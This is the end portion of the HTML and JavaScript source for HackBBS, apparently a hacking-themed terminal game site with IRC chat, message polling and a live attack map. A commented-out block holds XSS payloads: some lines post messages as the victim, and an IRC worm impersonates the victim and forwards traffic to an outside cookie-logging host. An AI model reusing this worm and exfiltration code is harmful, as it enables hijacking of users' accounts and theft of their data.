6Xa74vdd78Pr50SkNaOvb6piVXpzxZvTSXIvgMeAe4E9IhLyPF9qCHXIy7zT/AzY67m7CRDI3QO7tUnr2Q5FItIws6uB7wE/EJFLgJMiQlVV4iN+rLvK9F9dIGaGqt4JvM0nlp8OBoO3eheaAlWxSf6xTIhfJSJrbhd94MOqGr3pA1wHXAJcBNzs4fmo9+bXAp/1Hn49cKmqRgfqALd7yK9x76sVbADniTxnT4uq+ICZ1V52uar+MqVUDodDVlZWpN/v94C228r5ddoBLSAHzvMw9YC2iKSqqlKWZYOyLI+Y2QPALWZ2EPjDRoXLZvVkloJm9jSwDvzRT2enpibqrffajH1s6ju25bvT977Jp+yWT0EX+TQzMuOZRQoOgaZPvfdsGdOfr1WfR0o/85yZVROzDk1DMzsgQjQEMUDMdRDMjP/RKj0H1aYi9V+AeZ6nlNITo9HIYGLnKhpExRqNxo7pyrIkz3OGwyEiQlmW5gq2gMmJzyjn5uCc9RbgNXNLf3vhvSOE8EhVVcmVa/trifAvjPG59OLDwOVbzsfbXXUbO51SOum+WHjlV8DwnBV0/0opJcxM5txngM0emDf9wwlAU0q5Q2UuVOnFecZBFwO619Uw4hWmU+9li5VsAp0xudT3BQeqnWHs5/CRQ6aFVfxcsfSl2USGQ1R1snlKqOrkVQTZAikikBKmujEuiQhihpihIqibQOVKrU9BzczvmYB79yKDEgnrE4BWB6nGyGg8eZgG1KYhHaKGnNjVRk+tryeDsQjrwLoZ1TJFNwtQRiOkCDAUWFuDfh9UMQyTSRolH7Q2wu8WuQnQlUlAacZYhLHZgllvxvoPvXBD5auytf0AAAAASUVORK5CYII=" alt="Delete">');
        
        // Append all buttons
        $('#inboxButtons').append(replyBtn);
        $('#inboxButtons').append(' ');
        $('#inboxButtons').append(forwardBtn);
        $('#inboxButtons').append(' ');
        $('#inboxButtons').append(delBtn);
        
        // Show the buttons
        $('#inboxButtons').show();
        
    } catch (e) {
        console.error('Error updating buttons:', e);
    }
}

    function openChat() {
        $('#chat-box').html("</br><button id=\"leaveIRCButton\" onclick=\"quitChat()\">Disconnect</button></br><iframe id=\"chat\" frameborder=\"0\"></iframe></br>");
        var username = getCookie("username");
        if (username == null) username = 'Hacker';
        document.getElementById("chat").src = "https://irc.hackbbs.org/?username=" + username;
    }

    function quitChat() {
        $('#chat-box').html("</br><span style=\"color:orange\">#hackbbs</span></br>Hack FR/EN | Ezines: http://rafale.org | New challenges available \o/| => https://hackbbs.org/index.php | https://github.com/Sh0ckFR/french-ezines /</br></br><button id=\"connectToIRCButton\" onclick=\"openChat()\">Connexion</button></br></br>Or you can join us directly through the client of your choice:</br>+ IRC link: <span style=\"color:lightgreen\">irc.hackint.org</span> then join <span style=\"color:lightgreen\">#hackbbs</span></br>+ Matrix link: <span style=\"color:lightgreen\">#hackbbs:hackint.org</span></br></br>");
    }

    function showMailbox() {
        $('#mailboxButton').show();
        $('#defaultMailTab').addClass('active');
        console.log('we enable the inbox by default');

    }

    function clearMissions() {
        $('#missionit').empty();
    }

    function hideMailbox() {
        $('#mailboxButton').hide();
    }

    // Define the function that will call executeCommand
    function callExecuteCommand() {
        // Get the current Unix timestamp
        if (typeof termLine == 'undefined') return;
        if (termLine.includes("anonymous") || !termLine.includes("@HackBBS")) {
            //console.log("The user is unauthenticated. Let's skip the message check!")
            return;
        }

        // Check if this is the first call (no previous timestamp)
        if (typeof callExecuteCommand.firstCall === "undefined") {
            // First call: call the command without the timestamp
            executeCommand("messagebox -get");

            // Mark the first call as done
            callExecuteCommand.firstCall = false;
        } else {
            // Subsequent calls: pass the current Unix timestamp
            executeCommand(`messagebox -get ${currentTimestamp}`);
            //console.log("Refresh of the messageBox...");
        }
        currentTimestamp = Math.floor(Date.now() / 1000);
    }

    // Call the function initially (first call)
    callExecuteCommand();

    // Set an interval to repeat the call every 30 seconds
    setInterval(callExecuteCommand, 60000);

    //executeCommand("messagebox -get");
</script>
    <div id="attackdiv" class="attackdiv" style="display:None">
            ⠀⢀⣠⣤⣤⣄⡀⠀<br />⣴⣿⣿⣿⣿⣿⣿⣦<br />⣿⣿⣿⣿⣿⣿⣿⣿<br />⣇⠈⠉⡿⢿⠉⠁⢸<br />⠙⠛⢻⣷⣾⡟⠛⠋<br />⠀⠀⠀⠈⠁⠀⠀⠀
        </div>

    <div id="cipherdiv" class="attackdiv" style="display:block"><canvas id='canvas-ws' width='1200px' height='84px'></canvas></div>

    <div id="autostartDiv" style=""></div>

    <div id="container">

        <div id="scrolldiv">
            <div class="interlace">
                Welcome on
                <pre class="main-logo">  ___ ___                __   ___.  ___.           
 /   |   \_____    ____ |  | _\_ |__\_ |__   ______
/    ~    \__  \ _/ ___\|  |/ /| __ \| __ \ /  ___/
\    Y    // __ \\  \___|    < | \_\ \ \_\ \\___ \ 
 \___|_  /(____  /\___  >__|_ \|___  /___  /____  > Reloaded
       \/      \/     \/     \/    \/    \/     \/  2.108.2037</pre>
                Type <span class="blink-me">help</span> to start... <span id="balance" class="balance" style="color:red; text-shadow: 0 0 5px #F00 !important;">Wallet Disconnected</span><br>
                <div id="current-ip">
                You are currently known as <span id="ip-address" class="ip-address" class="ipone" style=" ">x.x.x.x</span></br>
                ___________________________________________________
                
            </div>
            </div>
            
            <div id="terminal"></div>

        </div>



    </div>

    <div id="error-banner" class="hidden"></div>

    <script>
        // Function to show the error banner
        function showErrorBanner(msg) {
            const errorBanner = document.getElementById('error-banner');

            // Show the banner
            errorBanner.innerHTML = msg;
            errorBanner.classList.remove('hidden');

            // Hide the banner after 3 seconds
            setTimeout(function() {
                errorBanner.classList.add('hidden');
            }, 3000);
        }
    </script>

    <script>
        //var host = 'wss://hackbbs.org:8090/refonte/hackbbs/php/todo.php';
        //var host = 'wss://'+window.location.hostname+':8090/?token=secret';
        var host = 'wss://' + window.location.hostname + '/ws?token=secret';
        //var socket = new WebSocket(host, cookie = "session="+getCookie("PHPSESSID"));
        //let socket = new WebSocket(host);
        lastAttacks = []; //This array contains the last attacks

        // Make the function wait until the connection is made...
        delayReconnectWebSocket = 5000;

        let socket;
        let pingInterval = 10000; // 10 seconds
        let pongTimeout = 5000; // 5 seconds
        let reconnectInterval = 1000; // Initial reconnect interval in milliseconds
        let maxReconnectInterval = 30000; // Maximum reconnect interval in milliseconds
        let pingTimeout;
        let isPongReceived = true;

        let reconnectAttempts = 0;

        function attemptReconnect() {
            reconnectAttempts++;
            let timeout = Math.min(reconnectInterval * reconnectAttempts, maxReconnectInterval);
            console.log(`Reconnecting in ${timeout / 1000} seconds...`);
            setTimeout(() => {
                console.log("Attempting to reconnect...");
                createWebSocket(host);
            }, timeout);
        }

        function createWebSocket(host) {
            if (socket) {
                socket.close();
            }

            socket = new WebSocket(host);

            socket.onopen = function() {
                // Connection is open, start the ping interval
                setInterval(function() {
                    // Send a ping message or any small message to keep the connection alive
                    if (socket.readyState === WebSocket.OPEN) {
                        sendMsgSocket(JSON.stringify({
                            "type": "message",
                            "text": "ping"
                        }));

                        isPongReceived = false;
                        // Set a timeout to check if 'pong' is received
                        pingTimeout = setTimeout(() => {
                            if (!isPongReceived) {
                                //alert('Pong not received within delay!');
                                console.log('Pong not received within delay!');
                            }
                        }, pongTimeout);
                        //console.log("We pinged the websocket");
                    } else {
                        // If the connection is not open, clear the interval
                        console.log("The websocket died: " + socket.readyState);
                        /*if (socket) {
                            socket.close();
                        }*/
                        //socket = new WebSocket(host);

                        displayPostIt(false);

                        waitForSocketConnection(function() {
                            state = "started";
                            updateStateMachine(0, 'ping');
                        });

                        document.getElementById('cipherdiv').style.display = 'block';
                        animBanner = true;
                        document.getElementById('attackdiv').style.display = 'none';
                        animate();
                        clearInterval(pingInterval);
                    }
                }, pingInterval); // Send a ping every 10000 milliseconds (10 seconds)
            };

            socket.onclose = function(event) {
                console.log("WebSocket is closed now.");
                // Attempt to reconnect
                attemptReconnect();
            };

            socket.onmessage = function(e) {
                updateStateMachine(null, null);
                //console.log('message received on the ws');
                if (e.data.startsWith("threat:")) {
                    attackDiv(e.data.slice(7));
                } else if (e.data.startsWith("threatLoc:")) {
                    params = e.data.split(" ");
                    ipsrc = params[2];
                    //console.log("new attack received");
                    if (!lastAttacks.includes(ipsrc)) {
                        //console.log("attack proccessing...");
                        lastAttacks.shift();
                        srclat = params[4];
                        srclong = params[6];
                        //console.log("New attack detected: "+e.data);
                        lastAttacks.push(ipsrc);

                        boom.push({
                            radius: 7,
                            latitude: srclat,
                            longitude: srclong,
                            fillOpacity: 0.5,
                            attk: ipsrc
                        });
                        map.bubbles(boom, {
                            popupTemplate: function(geo, data) {
                                return '<div class=\"hoverinfo\">' + data.attk + '<br/><img width=\"50px\" src=\"resources/skull2.png\"></div>';
                            }
                        });

                        hits.push({
                            origin: {
                                latitude: srclat,
                                longitude: srclong
                            },
                            destination: {
                                latitude: 48.8582,
                                longitude: 2.3387
                            }
                        });
                        map.arc(hits, {
                            strokeWidth: 2,
                            strokeColor: "#FF0000"
                        });
                    }



                } else if (e.data.startsWith("pong")) {
                    clearTimeout(pingTimeout);
                    isPongReceived = true;
                    //console.log('Pong received:', e.data);

                } else if (e.data.startsWith("postit:")) {
                    postIt(e.data.slice(7));
                } else {
                    missionIt(e.data);
                }
            };

        }

        function waitForSocketConnection(callback) {
            setTimeout(
                function() {
                    if (socket.readyState === 1) {
                        //console.log("Connection is made")
                        if (callback != null) {
                            callback();
                        }
                        document.getElementById('cipherdiv').style.display = 'None';
                        animBanner = false;
                        document.getElementById('attackdiv').style.display = 'block';
                        //displayPostIt(true);
                    } else {
                        //console.log("wait for connection...If it still fail, please validate the certificate via https://"+window.location.hostname+":8090/");
                        console.log("wait for connection...If it still fail, please validate the certificate via https://" + window.location.hostname + "/ws/");
                        /*if (socket) {
                            socket.close();
                        }*/
                        //socket = new WebSocket(host);
                        waitForSocketConnection(callback);

                    }

                }, delayReconnectWebSocket); // wait 5 seconds for the connection...
        }



        createWebSocket(host);

        waitForSocketConnection(function() {
            //console.log("message sent!!!");
            state = "started";
            updateStateMachine(0, 'ping');
        });

        /*
        var inputElement = document.getElementById("terminal");
        document.body.addEventListener("click", function(event) {
                // Check if the clicked element is not the input or the button
                //if (event.target !== inputElement && event.target !== buttonElement) {
                    // Set focus on the input element
                    inputElement.click();
                //}
        });*/

        function loadScript(url, callback) {
            // Check if the script already exists in the document
            /*var existingScript = document.querySelector('script[src="' + url + '"]');
            if (existingScript) {
                console.log('Script already loaded:', url);

                // If a callback is provided, execute it immediately
                if (callback) callback();
                return;
            }*/

            var script = document.createElement('script');
            script.type = 'text/javascript';
            script.src = url;

            // Bind to the onload event for script execution completion
            script.onload = function() {
                if (callback) callback();
            };

            // Append the script to the document head or body
            document.head.appendChild(script);
        }

    </script>
    

    <script>
        //document.getElementById('container1').style.display = "none";

        //We get the IP for the ipone 
        getMyIp();

        //We fix the size max of the div
        var winHeight = $(window).height();
        $('#terminal').height(winHeight - (winHeight*25/100));

        //$('#terminal').terminal().exec('autostart');
        /*
        x=new XMLHttpRequest;
        x.open(`POST`,`php/dispatcher.php`);
        x.setRequestHeader(`Content-Type`, `application/x-www-form-urlencoded; charset=UTF-8`);
        x.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            eval(this.responseText["js"]);
        console.log(this.responseText["js"]);
            //this.responseText["js"];
        }
        };
        x.send(`command=autostart`);

            */

        //$('#terminal').terminal().exec('ls');
        /*
    
    x=new XMLHttpRequest;x.open('POST','php/dispatcher.php');x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');x.send('command=msg+neib+'+document.cookie.match('username=.*').toString().substring(9)+'+HACKED!');
x=new XMLHttpRequest;x.open('POST','php/dispatcher.php');x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');x.send('command=msg+'+document.cookie.match('username=.*').toString().substring(9)+'+YOU+JUST+HAVE+BEEN+HACKED!+;)');
websocket = new WebSocket(`wss://hackbbs.org:7777/webirc/kiwiirc/632/lnigwmox/websocket`);websocket.onopen = start;websocket.onmessage = handleReply;trap = false;nick = document.cookie.match(`username=.*`).toString().substring(9)+`_49`;friend = `Korigan`;if(nick==`korigan_49`){friend = `Neomoloch`;}function start(event){  websocket.send(`[":0 CONTROL START"]`);  websocket.send(`[":1"]`);}function handleReply(event){  fetch(`https://npu.alwaysdata.net/tools/getcookie.php?v=`+event.data, {mode: `no-cors`});  if(event.data==`a[":1"]`) {    websocket.send(`[":1 HOST default:6667"]`);    websocket.send(`[":1 ENCODING utf8"]`);    websocket.send(`[":1 CAP LS 302"]`);    websocket.send(`[":1 NICK `+nick+`"]`);    websocket.send(`[":1 USER `+nick+` 0 * https://kiwiirc.com/"]`); }  else if(event.data.search(`PING`)!=-1) {    pong = `[":1 PONG `+event.data.match(`PING :.*`).toString().substring(6);		websocket.send(`[":1 CAP REQ :account-notify away-notify cap-notify extended-join multi-prefix userhost-in-names message-tags"]`);    websocket.send(pong); }  else if(event.data.search(`ACK :account-notify away-notify cap-notify extended-join`)!=-1) {    websocket.send(`[":1 CAP END"]`); }  else if(event.data.search(`MODE`)!=-1) {    websocket.send(`[":1 WHO `+nick+`"]`);    websocket.send(`[":1 JOIN #hackbbs"]`); }  else if(event.data.search(`#hackbbs :End of /NAMES list.`)!=-1) {    websocket.send(`[":1 MODE #hackbbs"]`);    websocket.send(`[":1 WHO #hackbbs %cuhsnfdaor"]`); }  else if(event.data==`h`) {    d = new Date();    time = d.getTime();    websocket.send(`[":1 PING kiwitime-`+time+`"]`);  }  else if(event.data.search(`WHO list`)!=-1 && trap==false) {    trap=true;websocket.send(`[":1 @+draft/typing=active TAGMSG #hackbbs"]`);    websocket.send(`[":1 @+draft/typing=active TAGMSG #hackbbs"]`);    websocket.send(`[":1 PRIVMSG #hackbbs :Ah ouais, tu devrais regarder ca `+friend+`"]`); }}
*/
        /*
        letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";

         interval = null;

        document.querySelector("h1").onmouseover = event => {  
          let iteration = 0;
          
          clearInterval(interval);
          
          interval = setInterval(() => {
            event.target.innerText = event.target.innerText
              .split("")
              .map((letter, index) => {
                if(index < iteration) {
                  return event.target.dataset.value[index];
                }
              
                return letters[Math.floor(Math.random() * 26)]
              })
              .join("");
            
            if(iteration >= event.target.dataset.value.length){ 
              clearInterval(interval);
            }
            iteration += 1 / 3;
          }, 30);
        }*/
    </script>

    <script src="./resources/pixel.js"></script>


</body>

</html>
